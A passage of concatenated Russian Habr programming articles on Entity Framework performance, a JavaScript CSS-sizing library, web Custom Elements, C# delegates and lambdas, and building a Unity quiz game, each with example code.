Если у вас есть приложение, которое многократно выполняет структурно похожие запросы в Entity Framework, вы часто можете повысить производительность, компилируя запрос один раз и выполняя его несколько раз с различными параметрами. Например, приложению может потребоваться получить всех клиентов в определенном городе; город указывается во время выполнения пользователем в форме. LINQ to Entities поддерживает использование для этой цели скомпилированных запросов.
Начиная с .NET Framework 4.5, запросы LINQ кэшируются автоматически. Тем не менее, вы все равно можете использовать скомпилированные запросы LINQ, чтобы снизить эту стоимость в последующих выполнениях, и скомпилированные запросы могут быть более эффективными, чем запросы LINQ, которые автоматически кэшируются. Обратите внимание, что запросы LINQ to Entities, которые применяют оператор Enumerable.Contains к коллекциям в памяти, не кэшируются автоматически. Также не допускается параметризация коллекций в памяти в скомпилированных запросах LINQ.
Много примеров можно посмотреть [тут](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/ef/language-reference/compiled-queries-linq-to-entities).
#### Не делайте больших контекстов DbContext!
В общем так, я знаю многие из вас, если не почти все — lazy f\_u\_\_c\_k\_\_e\_r\_\_s и всю базу данных вы размещаете в один контекст, особенно это свойственно для подхода Database-First. И зря вы это делаете! Ниже приведен пример как можно разделить контекст. Конечно, таблицы соединения между контекстами придется дублировать, это минус. Так или иначе если у вас в контексте более 50 таблиц лучше подумать о его разделении.
#### Использование группировки контекста (pooling DdContext)
Смысл пула **DbContext** состоит в том, чтобы разрешить повторное использование экземпляров **DbContext** из пула, что в некоторых случаях может привести к повышению производительности по сравнению с созданием нового экземпляра каждый раз. Это также является основной причиной создания пула соединений в ADO.NET, хотя прирост производительности для соединений будет более значительным, поскольку соединения, как правило, являются более тяжелым ресурсом.
```
using System;
using System.Diagnostics;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.EntityFrameworkCore;
using Microsoft.Extensions.DependencyInjection;
namespace Demos
{
public class Blog
{
public int BlogId { get; set; }
public string Name { get; set; }
public string Url { get; set; }
}
public class BloggingContext : DbContext
{
public static long InstanceCount;
public BloggingContext(DbContextOptions options)
: base(options)
=> Interlocked.Increment(ref InstanceCount);
public DbSet Blogs { get; set; }
}
public class BlogController
{
private readonly BloggingContext \_context;
public BlogController(BloggingContext context) => \_context = context;
public async Task ActionAsync() => await \_context.Blogs.FirstAsync();
}
public class Startup
{
private const string ConnectionString
= @"Server=(localdb)\mssqllocaldb;Database=Demo.ContextPooling;Integrated Security=True;ConnectRetryCount=0";
public void ConfigureServices(IServiceCollection services)
{
services.AddDbContext(c => c.UseSqlServer(ConnectionString));
}
}
public class Program
{
private const int Threads = 32;
private const int Seconds = 10;
private static long \_requestsProcessed;
private static async Task Main()
{
var serviceCollection = new ServiceCollection();
new Startup().ConfigureServices(serviceCollection);
var serviceProvider = serviceCollection.BuildServiceProvider();
SetupDatabase(serviceProvider);
var stopwatch = new Stopwatch();
MonitorResults(TimeSpan.FromSeconds(Seconds), stopwatch);
await Task.WhenAll(
Enumerable
.Range(0, Threads)
.Select(\_ => SimulateRequestsAsync(serviceProvider, stopwatch)));
}
private static void SetupDatabase(IServiceProvider serviceProvider)
{
using (var serviceScope = serviceProvider.CreateScope())
{
var context = serviceScope.ServiceProvider.GetService();
if (context.Database.EnsureCreated())
{
context.Blogs.Add(new Blog { Name = "The Dog Blog", Url = "http://sample.com/dogs" });
context.Blogs.Add(new Blog { Name = "The Cat Blog", Url = "http://sample.com/cats" });
context.SaveChanges();
}
}
}
private static async Task SimulateRequestsAsync(IServiceProvider serviceProvider, Stopwatch stopwatch)
{
while (stopwatch.IsRunning)
{
using (var serviceScope = serviceProvider.CreateScope())
{
await new BlogController(serviceScope.ServiceProvider.GetService()).ActionAsync();
}
Interlocked.Increment(ref \_requestsProcessed);
}
}
private static async void MonitorResults(TimeSpan duration, Stopwatch stopwatch)
{
var lastInstanceCount = 0L;
var lastRequestCount = 0L;
var lastElapsed = TimeSpan.Zero;
stopwatch.Start();
while (stopwatch.Elapsed < duration)
{
await Task.Delay(TimeSpan.FromSeconds(1));
var instanceCount = BloggingContext.InstanceCount;
var requestCount = \_requestsProcessed;
var elapsed = stopwatch.Elapsed;
var currentElapsed = elapsed - lastElapsed;
var currentRequests = requestCount - lastRequestCount;
Console.WriteLine(
$"[{DateTime.Now:HH:mm:ss.fff}] "
+ $"Context creations/second: {instanceCount - lastInstanceCount} | "
+ $"Requests/second: {Math.Round(currentRequests / currentElapsed.TotalSeconds)}");
lastInstanceCount = instanceCount;
lastRequestCount = requestCount;
lastElapsed = elapsed;
}
Console.WriteLine();
Console.WriteLine($"Total context creations: {BloggingContext.InstanceCount}");
Console.WriteLine(
$"Requests per second: {Math.Round(\_requestsProcessed / stopwatch.Elapsed.TotalSeconds)}");
stopwatch.Stop();
}
```
#### Как избежать лишних ошибок при CRUD в EF Core?
Никогда не делайте вычисления в вставку в одном коде. Всегда разделяйте формирование/подготовку объекта и его вставку/обновление. Просто разнесите по функциям: проверку введенных данным пользователем, вычисления необходимые предварительных данных, картирование или создание объекта, и собственно CRUD операцию.
#### Что делать, когда совсем дела плохо с производительностью приложения?
Пиво тут точно не поможет. А вот что поможет, так это разделение чтение и записи в архитектуре приложения с последующего разнесением по сокетам этих операций. Задумайтесь об использовании [Command and Query Responsibility Segregation (CQRS) pattern](https://docs.microsoft.com/en-us/azure/architecture/patterns/cqrs), а также попробуйте, разделить таблицы на вставку и чтение между двумя базами данных.
*Скоростных приложений вам, друзья и коллеги!* | https://habr.com/ru/post/487734/ | null | ru | null |
# Детские мечты о width: 90%-20px;
#### Вступление
Те, кто когда-то только-только начинали изучать CSS, особенно имея небольшой опыт программирования десктопных приложений на Delphi или VB, наверняка хотели иметь возможность использовать конструкции вроде left:30%+10;
Потом все мы научились использовать margin, вложенные и плавающие блоки. Тем, кто всё-таки не прочь побаловаться, посвящается: JSCSS
Если Вы об этом как-то не мечтали, можете не читать
Задача: сделать два резиновых столбца. Первый — 30% по ширине, второй — 70%, между ними 10 пикселов, расстояния от краёв страницы слева и справа тоже 10 пискелов. Причём первый столбец автоматически увеличивается под высоту второго.
Решение, о котором хотелосьбы помечтать:
`#block
{
width:30%-10px;
left:10px;
height:content.height;
top:20px;
}
#content
{
width:70%-10px;
left:30%+10px;
height:400px;
top:20px;
}`
Чтобы немного побаловаться, я и написал эту библиотеку.
#### Подключение
В HTML коде пишем:
Название файла (style.css) может быть любым. Id линка менять нельзя.
И в конце документа, перед закрытием body, например, пишем:
Всё.
#### Синтаксис
В файле style.css, который мы подключили, пишем описания размеров. Синтаксис прост:
`#id_объекта
{
height:100;
width:300;
left:30;
top:32;
}`
id\_объекта — атрибут id существующего элемента (тег )
Можно писать числа, причём px можно опускать (а можно и не опускать), использовать проценты (внимание! процент всегда означает процент от ширины окна, даже при указании, например, высоты. т.е. height:50% установит высоту, равную половине ширины окна. Для указания высот необходимо пользоваться body.height). Можно использовать арифметические действия. Например, width:50%+2;
Также можно использовать два выражения: body.height и body.width; Т.е. для задания высоты, равной 50%, следует писать: height:body.height/2;
Можно использовать свойства других объектов, например, height: content.height-20;, где content — id другого элемента.
В конце строки надо ставить точку с запятой. Использовать свойства top и left других объектов можно, но нежелательно. Лучше задать значение такое-же, как в свойстве top или left искомого объекта.
Внимание: следите за логичностью. Например, height: 90%; top:15%; заставит объект постоянно увеличиваться, раздвигая окно браузера.
Пропускать ничего нельзя. Все 4 строки обязательны.
#### Примеры
Смотрите HTML код, он крайне прост, да и прикрепленный стиль несложен.
[Пример 1](http://ramainen.ru/samples/jsresize/sample1.htm)
[Пример 1.5](http://ramainen.ru/samples/jsresize/sample15.htm) (тоже самое, но с коротким текстом)
[Пример 2](http://ramainen.ru/samples/jsresize/sample2.htm)
[скачать библиотеку](http://ramainen.ru/samples/jsresize/jsresize.js)
[скачать архив с библиотекой и примерами](http://ramainen.ru/samples/jsresize/jsresize.zip)
Тестилось под IE6, IE7, Opera 9.5, Firefox 2
#### С небес на землю
При оключённом javascript вёрстка, разумеется, не работает. Поэтому нельзя считать библиотеку серьёзным продуктом. Просто побаловаться — можно, но использовать в серьёзном коммерческом проекте я бы не стал. Конечно, можно подключить настоящий файл стилей, и прописать в нём альтернативную вёрстку. Но считать серьёзным позиционирование скриптом не стоит. | https://habr.com/ru/post/37349/ | null | ru | null |
# Как работает JS: пользовательские элементы
**[Советуем почитать] Другие 19 частей цикла**
Часть 1: [Обзор движка, механизмов времени выполнения, стека вызовов](https://habrahabr.ru/company/ruvds/blog/337042/)
Часть 2: [О внутреннем устройстве V8 и оптимизации кода](https://habrahabr.ru/company/ruvds/blog/337460/)
Часть 3: [Управление памятью, четыре вида утечек памяти и борьба с ними](https://habrahabr.ru/company/ruvds/blog/338150/)
Часть 4: [Цикл событий, асинхронность и пять способов улучшения кода с помощью async / await](https://habrahabr.ru/company/ruvds/blog/340508/)
Часть 5: [WebSocket и HTTP/2+SSE. Что выбрать?](https://habrahabr.ru/company/ruvds/blog/342346/)
Часть 6: [Особенности и сфера применения WebAssembly](https://habrahabr.ru/company/ruvds/blog/343568/)
Часть 7: [Веб-воркеры и пять сценариев их использования](https://habrahabr.ru/company/ruvds/blog/348424/)
Часть 8: [Сервис-воркеры](https://habrahabr.ru/company/ruvds/blog/349858/)
Часть 9: [Веб push-уведомления](https://habrahabr.ru/company/ruvds/blog/350486/)
Часть 10: [Отслеживание изменений в DOM с помощью MutationObserver](https://habrahabr.ru/company/ruvds/blog/351256/)
Часть 11: [Движки рендеринга веб-страниц и советы по оптимизации их производительности](https://habrahabr.ru/company/ruvds/blog/351802/)
Часть 12: [Сетевая подсистема браузеров, оптимизация её производительности и безопасности](https://habr.com/company/ruvds/blog/354070/)
Часть 12: [Сетевая подсистема браузеров, оптимизация её производительности и безопасности](https://habr.com/company/ruvds/blog/354070/)
Часть 13: [Анимация средствами CSS и JavaScript](https://habr.com/company/ruvds/blog/354438/)
Часть 14: [Как работает JS: абстрактные синтаксические деревья, парсинг и его оптимизация](https://habr.com/company/ruvds/blog/415269/)
Часть 15: [Как работает JS: классы и наследование, транспиляция в Babel и TypeScript](https://habr.com/company/ruvds/blog/415377/)
Часть 16: [Как работает JS: системы хранения данных](https://habr.com/company/ruvds/blog/415505/)
Часть 17: [Как работает JS: технология Shadow DOM и веб-компоненты](https://habr.com/company/ruvds/blog/415881/)
Часть 18: [Как работает JS: WebRTC и механизмы P2P-коммуникаций](https://habr.com/company/ruvds/blog/416821/)
Часть 19: [Как работает JS: пользовательские элементы](https://habr.com/company/ruvds/blog/419831/)
Представляем вашему вниманию перевод 19 статьи из серии материалов компании [SessionStack](https://www.sessionstack.com/), посвящённых особенностям различных механизмов экосистемы JavaScript. Сегодня речь пойдёт о стандарте Custom Elements — о так называемых «пользовательских элементах». Мы поговорим, о том, какие задачи они позволяют решать, и о том, как их создавать и использовать.
[](https://habr.com/company/ruvds/blog/419831/)
Обзор
-----
В одном из предыдущих материалов этой серии мы говорили о [Shadow DOM](https://habr.com/company/ruvds/blog/415881/) и о некоторых других технологиях, которые являются частью более крупного явления — веб-компонентов. Веб-компоненты нацелены на то, чтобы дать разработчикам возможность расширять стандартные возможности HTML, создавая компактные, модульные и подходящие для повторного использования элементы. Это — сравнительно новый стандарт W3C, на который уже обратили внимание производители всех ведущих браузеров. Его можно встретить в продакшне, хотя, конечно, пока его работу обеспечивают полифиллы (о них мы поговорим позже).
Как вы, возможно, уже знаете, браузеры дают нам несколько важнейших средств для разработки веб-сайтов и веб-приложений. Речь идёт об HTML, CSS и JavaScript. HTML используют для структурирования веб-страниц, благодаря CSS им придают приятный внешний вид, а JavaScript отвечает за интерактивные возможности. Однако до появления веб-компонентов связывать действия, реализуемые средствами JavaScript, с HTML-структурой, было не так уж и легко.
Собственно говоря, здесь мы рассмотрим основу веб-компонентов — пользовательские элементы (Custom Elements). Если рассказать о них в двух словах, то API, предназначенное для работы с ними, позволяет программисту создавать собственные HTML-элементы со встроенной в них JavaScript-логикой и стилями, описанными средствами CSS. Многие путают пользовательские элементы с технологией Shadow DOM. Однако, это — две совершенно разные вещи, которые, на самом деле, дополняют друг друга, но не являются взаимозаменяемыми.
Некоторые фреймворки (такие, как Angular или React) пытаются решить ту же проблему, которую решают пользовательские элементы, вводя собственные концепции. Пользовательские элементы можно сравнить с директивами Angular или с компонентами React. Однако пользовательские элементы — это стандартная возможность браузера, для работы с ними не нужно ничего, кроме обычных JavaScript, HTML и CSS. Конечно, это не позволяет говорить о том, что они являются заменой для обычных JS-фреймворков. Современные фреймворки дают нам гораздо большее, нежели лишь возможность имитировать поведение пользовательских элементов. В результате можно говорить о том, что и фреймворки, и пользовательские элементы — это технологии, которые можно использовать совместно для решения задач веб-разработки.
API
---
Прежде чем мы продолжим, давайте посмотрим, какие возможности нам даёт API для работы с пользовательскими элементами. А именно, речь идёт о глобальном объекте `customElements`, который имеет несколько методов:
* Метод `define(tagName, constructor, options)` позволяет определить (создать, зарегистрировать) новый пользовательский элемент. Он принимает три аргумента — имя тега для пользовательского элемента, соответствующее правилам именования таких элементов, объявление класса и объект с параметрами. В настоящий момент поддерживается лишь один параметр — `extends`, который представляет собой строку, задающую имя встроенного элемента, который планируется расширить. Эта возможность используется для создания особых версий стандартных элементов.
* Метод `get(tagName)` возвращает конструктор пользовательского элемента при условии, что этот элемент уже определён, в противном случае он возвращает `undefined`. Он принимает один аргумент — имя тега пользовательского элемента.
* Метод `whenDefined(tagName)` возвращает промис, который разрешается после того, как пользовательский элемент будет создан. Если элемент уже определён, этот промис разрешается немедленно. Промис отклоняется, если переданное ему имя тега не является допустимым именем тега пользовательского элемента. Этот метод принимает имя тега пользовательского элемента.
Создание пользовательских элементов
-----------------------------------
Создавать пользовательские элементы очень просто. Для этого надо сделать две вещи: создать объявление класса для элемента, который должен расширять класс `HTMLElement` и зарегистрировать этот элемент под выбранным именем. Вот как это выглядит:
```
class MyCustomElement extends HTMLElement {
constructor() {
super();
// …
}
// …
}
customElements.define('my-custom-element', MyCustomElement);
```
Если вы не хотите загрязнять текущую область видимости, можете воспользоваться анонимным классом:
```
customElements.define('my-custom-element', class extends HTMLElement {
constructor() {
super();
// …
}
// …
});
```
Как можно видеть из примеров, регистрация пользовательского элемента производится с помощью уже знакомого вам метода `customElements.define(...)`.
Проблемы, которые решают пользовательские элементы
--------------------------------------------------
Поговорим о проблемах, которые позволяют решать пользовательские элементы. Одна из них — это улучшение структуры кода и устранение того, что называют «супом из тегов div» (div soup). Это явление представляет собой весьма распространённую в современных веб-приложениях структуру кода, в которой имеется множество вложенных друг в друга элементов `div`. Вот как это может выглядеть:
```
…
```
Подобный HTML-код используют по вполне оправданным причинам — он описывает устройство страницы и обеспечивает её правильный вывод на экран. Однако это ухудшает читабельность HTML-кода и усложняет его сопровождение.
Предположим, у нас имеется компонент, выглядящий так, как показано на следующем рисунке.
*Внешний вид компонента*
При использовании традиционного подхода к описанию подобных вещей этому компоненту будет соответствовать следующий код:
```
```
А теперь представьте себе, что мы могли бы, вместо этого кода, воспользоваться вот таким описанием компонента:
```
```
Уверен, все согласятся с тем, что второй фрагмент кода выглядит куда лучше. Такой код легче читать, легче поддерживать, он понятен и разработчику, и браузеру. Всё сводится к тому, что он — проще, чем тот, в котором имеются множество вложенных тегов `div`.
Следующая проблема, которую можно решить с помощью пользовательских элементов — это повторное использование кода. Код, который пишут разработчики, должен быть не только работающим, но и поддерживаемым. Повторное использование кода, в противовес постоянному написанию одних и тех же конструкций, улучшает возможности по поддержке проектов.
Вот простой пример, который позволит лучше разобраться в этой идее. Предположим, у нас имеется следующий элемент:
```
```
Если в нём постоянно возникает необходимость, то, при обычном подходе, нам снова и снова придётся писать один и тот же HTML-код. Теперь представьте, что в этот код надо внести изменение, которое должно отразиться везде, где он используется. Это означает, что нам надо найти все места, где используется этот фрагмент, после чего везде внести в него одни и те же изменения. Это долго, тяжело и чревато ошибками.
Было бы куда лучше, если бы мы могли там, где нужен этот элемент, просто написать следующее:
Однако современные веб-приложения — это гораздо больше, чем статический HTML-код. Они интерактивны. Источником их интерактивности является JavaScript. Обычно, для обеспечения подобных возможностей, создают некие элементы, потом подключают к ним прослушиватели событий, что позволяет им реагировать на воздействия пользователя. Например, они могут реагировать на щелчки, на «зависание» над ними указателя мыши, на перетаскивание их по экрану, и так далее. Вот как к элементу подключают прослушиватель события, возникающего при щелчке по нему мышью:
```
var myDiv = document.querySelector('.my-custom-element');
myDiv.addEventListener('click', _ => {
myDiv.innerHTML = ' **I have been clicked** ';
});
```
А вот HTML-код этого элемента:
```
I have not been clicked yet.
```
Благодаря использованию API для работы с пользовательскими элементами вся эта логика может быть включена в сам элемент. Для сравнения — ниже показан код объявления пользовательского элемента, включающего в себя обработчик событий:
```
class MyCustomElement extends HTMLElement {
constructor() {
super();
var self = this;
self.addEventListener('click', _ => {
self.innerHTML = ' **I have been clicked** ';
});
}
}
customElements.define('my-custom-element', MyCustomElement);
```
А вот как он выглядит в HTML-коде страницы:
```
I have not been clicked yet
```
На первый взгляд может показаться, что для создания пользовательского элемента требуется больше строк JS-кода. Однако в реальных приложениях редко когда бывает так, чтобы подобные элементы создавали бы лишь для того, чтобы воспользоваться ими только один раз. Ещё одно типичное в современных веб-приложениях явление заключается в том, что большинство элементов в них создаётся динамически. Это приводит к необходимости поддержки двух различных сценариев работы с элементами — ситуаций, когда они добавляются на страницу динамически, средствами JavaScript, и ситуаций, когда они описаны в исходной HTML-структуре страницы. Благодаря применению пользовательских элементов работа в этих двух ситуациях упрощается.
В результате, если подвести краткие итоги этого раздела, можно сказать, что пользовательские элементы делают код понятнее, упрощают его поддержку, способствуют разбиению его на маленькие модули, включающие в себя весь необходимый функционал и подходящие для повторного использования.
Теперь, когда мы обсудили общие вопросы работы с пользовательскими элементами, поговорим об их особенностях.
Требования
----------
Прежде чем вы приступите к разработке собственных пользовательских элементов, вам стоит знать о некоторых правилах, которым надо следовать при их создании. Вот они:
* Имя компонента должно включать в себя дефис (символ `-`). Благодаря этому HTML-парсер может различать встроенные и пользовательские элементы. Кроме того, такой подход обеспечивает отсутствие коллизий имён со встроенными элементами (и с теми, что есть сейчас, и с теми, которые появятся в будущем). Например, действительное имя пользовательского элемента — это `>my-custom-element<`, а имена `>myCustomElement<` и являются неподходящими.
* Запрещено более одного раза регистрировать один и тот же тег. Попытка сделать это приведёт к выдаче браузером ошибки `DOMException`. Пользовательские элементы нельзя переопределять.
* Пользовательские теги не могут быть самозакрывающимися. HTML-парсер поддерживает лишь ограниченный набор стандартных самозакрывающихся тегов (например — `![]()`, , ). | https://habr.com/ru/post/419831/ | null | ru | null |
# Делегаты и Лямбда выражения в C# .Net — Шпаргалка или коротко о главном
Привет, Дорогой читатель!
-------------------------
Почти все кто мало-мальски работал в .Net знает что такое **Делегаты** (Delegates). А те кто не знает о них, почти наверняка хотя бы в курсе о **Лямбда-выражениях** (Lambda expressions). Но лично я постоянно то забываю о синтаксисе их объявления, то возвращаюсь к многостраничным объяснениям умных людей о том, как компилятор реагирует на подобные конструкции. Если у Вас случается такая проблема, то милости прошу!
Делегаты
--------
Делегат это особый тип. И объявляется он по особому:
```
delegate int MyDelegate (string x);
```
Тут все просто, есть ключевое слово **delegate**, а дальше сам делегат с именем MyDelegate, возвращаемым типом int и одним аргументом типа string.
По факту же при компиляции кода в CIL — компилятор превращает каждый такой тип-делегат в **одноименный тип-класс** и все экземпляры данного типа-делегата по факту являются экземплярами соответствующих типов-классов. Каждый такой класс наследует тип MulticastDelegate от которого ему достаются методы Combine и Remove, содержит конструктор с двумя аргументами **target** (Object) и **methodPtr** (IntPtr), поле **invocationList** (Object), и три собственных метода **Invoke, BeginInvoke, EndEnvoke**.
Объявляя новый тип-делегат мы сразу через синтаксис его объявления **жестко определяем сигнатуру допустимых методов**, которыми могут быть инициализированы экземпляры такого делегата. Это сразу влияет на сигнатуру автогенерируемых методов Invoke, BeginInvoke, EndEnvoke, поэтому эти методы и не наследуются от базового типа а определяются для каждого типа-делегата отдельно.
Экземпляр же такого делегата стоит понимать как **ссылку на конкретный метод или список методов**, который куда то будет передан и скорее всего выполнен уже на той стороне. Причем клиент не сможет передать с методом значение аргументов с которыми он будет выполнен (если только мы этого ему не позволим), или поменять его сигнатуру. Но он сможет определить логику работы метода, то есть его тело.
Это удобно и безопасно для нашего кода так как мы знаем какой тип аргумента передать в делегат при выполнении и какой возвращаемый тип ожидать от делегата.
Если пофантазировать, то можно предоставить право передачи аргумента для делегатов клиентской стороне, например создать метод с аргументом делегатом и аргументом который внутри нашего метода этому делегату будет передан, что позволит клиенту задавать еще и значение аргумента для метода в делегате. Например таким образом.
```
void MyFunc(myDelegate deleg, int arg){deleg.Invoke(arg);}
```
Создавая в коде экземпляр делегата его конструктору передается метод (подойдет и экземплярный и статический, главное чтобы сигнатура метода совпадала с сигнатурой делегата). Если метод экземплярный то в поле **target** записывается ссылка на экземпляр-владелец метода (он нужен нам, ведь если метод экземплярный то это как минимум подразумевает работу с полями этого объекта target), а в **methodPtr** ссылка на метод. Если метод статический то записываются в поля **target** и **methodPtr** будут записаны null и ссылка на метод соответственно.
Инициализировать переменную делегата можно через создание экземпляра делегата:
```
MyDeleg x = new MyDeleg(MyFunc);
```
Или упрощенный синтаксис без вызова конструктора:
```
MyDeleg x = MyFunc;
```
Организовать передачу/получение экземпляра делегата можно по разному. Так как делегат это в итоге всего лишь тип-класс, то можно свободно создавать поля, свойства, аргументы методов и т.д. конкретного типа делегата.
Методы делегатов:
**Invoke** — синхронное выполнение метода который храниться в делегате.
**BeginInvoke, EndEnvoke** — аналогично но асинхронное.
Вызывать выполнение методов хранящихся в делегате можно и через упрощенный синтаксис:
```
delegInst.Invoke(argument);
```
это аналогично записи:
```
delegInst(argument);
```
### А зачем делегату поле invocationList?
Поле **invocationList** имеет значение null для экземпляра делегата пока делегат хранит ссылку на один метод. Этот метод можно всегда перезаписать на другой приравняв через "=" переменной новый экземпляр делегата (или сразу нужного нам метода через упрощенный синтаксис). Но так же можно создать цепочку вызовов, когда делегат хранит ссылки на более чем один метод.
Для этого нужно вызвать метод **Combine**:
```
MyDeleg first = MyFunc1;
MyDeleg second = MyFunc2;
first = (MyDeleg) Delegate.Combine(first, second);
```
Метод **Combine** возвращает ссылку на новый делегат в котором поля target и methodPtr пусты, но invocationList, который содержит две ссылки на делегаты: тот что был раньше в переменной first и тот что еще хранится в second. Надо понимать что добавив третий делегат через метод Combine и записав его результат в first, то метод вернет ссылку на новый делегат с полем invocationList в котором будет коллекция из трех ссылок, а делегат с двумя ссылками будет удален сборщиком мусора при следующем цикле очистки.
При выполнении такого делегата все его методы будут выполнены по очереди. Если сигнатура делегата предполагает получение параметров то параметры будут для всех методов иметь одно значение. Если есть возвращаемое значение, то мы можем получить лишь значение последнего в списке метода.
Метод **Remove** же в свою очередь производит поиск в списке делегатов по значению объекта-владельца и методу, и в случае нахождения удаляет первый совпавший.
```
Deleg first = first.Remove(MyFunc2);
```
Переопределенные для делегатов операторы **+=** и **-=** являются аналогами методов Combine и Remove:
```
first = (Deleg) Delegate.Combine(first, second);
```
аналогично следующей записи:
```
first += MyFunc2;
```
И соответственно:
```
first = first.Remove(MyFunc2);
```
аналогично следующей записи:
```
first -= MyFunc;
```
Стоит сказать что делегаты могут быть **обобщенными** (Generic), что является более правильным подходом к созданию отдельных делегатов для разных типов.
Также стоит упомянуть что **библиотека FCL уже содержит наиболее популярные типы делегатов (обобщенные и нет)**. Например делегат **Action** представляет собой метод без возвращаемого значения но с аргументом, а **Fucn** и с возвращаемым значением и аргументом.
Лямбда-операторы и лямбда-выражения
-----------------------------------
Так же экземпляр делегата можно инициализировать **лямбда-оператором** (lambda-operator) или **лямбда-выражением** (lambda-expression). Так как в целом это одно и то же, то далее по тексту я буду их просто называть «лямбды» в местах, где не нужно подчеркивать их различия.
Стоит упомянуть, что они были введены в C# 3.0, а до них существовали анонимные-функции появившиеся в C# 2.0.
Отличительной чертой лямбд является оператор =>, который делит выражение на левую часть с **параметрами** и правую с **телом метода**.
Допустим у нас есть делегат:
```
delegate string MyDeleg (string verb);
```
Тогда общий синтаксис лямбда-оператора будет следующим:
```
MyDeleg myDeleg = (string x) => { return x; };
```
Это именно **Лямбда-оператор** так как мы обрамляем его тело в фигурные скобки, что позволяет нам поместить в него более одного оператора:
```
MyDeleg myDeleg = (string x) => { var z = x + x; return z; };
```
Допускается не указывать типы аргументов, ведь компилятор и так знает тип и сигнатуру вашего делегата, но можно и указать для простоты чтения кода другим человеком:
```
MyDeleg myDeleg = (x) => { return x; };
```
В случае если имеется лишь один аргумент то можно опустить обрамляющие его скобки:
```
MyDeleg myDeleg = x => { return x; };
```
Если в сигнатуре делегата аргументов нет то необходимо указать пустые скобки:
```
AnotherDeleg myDeleg = () => { return x; };
```
Если тело лямбды состоит лишь из одного выражения, то оно является **Лямбда-выражением**. Это очень удобно, так как у нас появляется возможность использовать упрощенный синтаксис в котором:
— можно опустить фигурные скобки, обрамляющие тело лямбды;
— без вышеупомянутых фигурных скобок нам не нужно использовать ключевое слово return перед оператором и точку запятой после оператора в теле лямбды:
В итоге код определения лямбды может стать крошечным:
```
MyDeleg myDeleg = x => x+x;
```
### А что о лямбдах думает компилятор?
Важно понимать что лямбда выражения не являются волшебными строками передающимися напрямую в делегат. На самом деле на этапе компиляции каждое такое выражение превращается в анонимный private метод с именем начинающимся на "<" что исключает возможность вызова такого метода напрямую. Этот метод всегда является **членом типа в котором вы используете данное лямбда выражение**, и передается в конструктор делегата явно в CIL коде.
Причем компилятор анализирует содержит ли выражение в своем теле операции с экземплярными полями типа в котором выражение обновлено или нет. Если да то генерируемый метод будет экземплярным, а если нет, то метод будет статическим. Использование в лямбда выражении статических полей данного типа, а так же экземпляров и экземплярных полей других типов на это не влияют.
Вы можете спросить почему бы CLR не генерировать экземплярный метод в обоих случаях, ответ прост — такому методу нужен дополнительный параметр this, что делает его выполнение более трудоемким по сравнению со статическим.
Помимо этого CLR создает конструкцию, которая **кэширует** делегат с нашим методом в анонимном закрытом поле (все там же в нашем типе где было использовано лямбда выражении) при первом обращении к нему, а при последующих просто читает из его из поля. И действительно, нет никакого толка создавать его заново каждый раз, ведь информация о методе заданном выражением неизменна на этапе выполнения программы.
### В итоге
А в итоге потратил целый вечер… Фух! Старался сделать шпаргалку наиболее компактной и информативной, но все равно как-то много вышло букв. За замечания заранее спасибо, постараюсь сразу править все свои огрехи.
Отдельное спасибо великому Джеффри Рихтеру, который конечно статью не прочтет, но написал просто замечательную книгу «CLR via C#», которую я перечитываю снова и снова, и информацию из которой я использовал при написании данной шпаргалки.
**Всем большое спасибо!** | https://habr.com/ru/post/329886/ | null | ru | null |
# Разработка игры для Android на Unity 5. От идеи до монетизации (Live)
Привет Хабр. Хочу поделиться опытом в разработке игры-викторины на Unity 5 версии. Замечу, что подобная игра уже выпускалась мной в 2014 году и набирала 7800 скачиваний. Из-за ужасной реализации игра заработала 80% удалений и проект был заброшен. Попробуем запустить игру по новой, исправив ошибки предшественника.
В статье рассмотрим такие темы как:
1. Идея игры
2. Структура проекта
3. Особенности игровой логики и способы реализации
4. Внедрение инструментов монетизации in app purchase и официального плагина AdMob
5. Продвижение
#### **Идея игры**
Идея игры простая. Мы зашифровываем популярные песни в виде смайлов emoji и предлагаем пользователю расшифровать.
На момент публикации, подобных русскоязычных игр в Google Play нет.
#### **Структура проекта**
При разработке на Unity я не использую паттернов, но стараюсь разделить логику от отображения.
Игровой объект *Display (Canvas)* является родительским элементом UI, на нем висит класс для доступа ко всему UI — GameDisplay. Весь интерфейс размещается в родительском Display (Canvas) и мы при необходимости ссылаемся к элементам UI через класс GameDisplay.
Для обработки взаимодействия с UI я создаю пустой игровой объект *Handlers* и на нем размещаю класс(ы), который содержит методы для обработки нажатия кнопок.
Для удобства группировки, все это мы помещаем в пустой игровой объект UI (не является элементам интерфейса и не отображается).
**Пример класса GameDisplay**
```
public class GameDisplay : MonoBehaviour {
public GameObject LevelNumText;
public GameObject InputField;
public static GameObject StaticInputField, StaticAlertsText;
public GameObject AlertsText;
float AlertHideTimer = 4f;
void Awake()
{
// для доступа к элементам UI создаем static ссылки на объекты
StaticInputField = InputField;
StaticAlertsText = AlertsText;
}
```
**Пример класса Handler:**
```
namespace NavigationHandlers
{
public class NavigationHandlers : MonoBehaviour
{
public void LoadHowToPlayScene()
{
SceneManager.LoadScene(1);
}
public void StartGame()
{
SceneManager.LoadScene(2);
}
public void BackToMainMenu()
{
SceneManager.LoadScene(0);
}
}
}
```
В объекте *Levels* содержатся наши уровни Level\_(num). Как видно по скрину, Level\_1 элемент UI содержащий компонент *grid layout group*. В Level\_1 помещены дочерние Image элементы, которые отображают смайлы и группируются в grid благодаря родительскому компоненту.
#### **Особенности игровой логики и хранения данных**
Для сохранения незначительно количества игровых данных (счет\имя игрока и.т.д) я использую PlayerPrefs обернутый для удобства в класс DB.
**Пример класса DB:**
```
public class Db : MonoBehaviour {
public static List answers = new List();
public static void SaveDb()
{
PlayerPrefs.Save();
}
public static int CurrentLevel
{
get { return PlayerPrefs.GetInt("CurrentLevel"); }
set { PlayerPrefs.SetInt("CurrentLevel", value); }
}
```
С помощь этого, мы имеем возможность удобно обращаться к бд *Db.CurrentLevel = Db.CurrentLevel + 1;*
Логика игры не сложная и состоит из одного класса *Game*. Все уровни ([имеют тег Level](https://docs.unity3d.com/Manual/Tags.html)) по умолчанию активированы. Наша задача найти и отключить, за исключением текущего CurrentLevel.
```
// находим все уровни по тегу
Levels = GameObject.FindGameObjectsWithTag("Level");
// деактивируем ненужные
foreach (GameObject Level in Levels)
{
// деактивируем все уровни которые не подходят текущему
if (Level.gameObject.name != "Level_" + Db.CurrentLevel + "")
{
Level.gameObject.SetActive(false);
}
// который подходит активируем
else
{
Level.gameObject.SetActive(true);
}
}
```
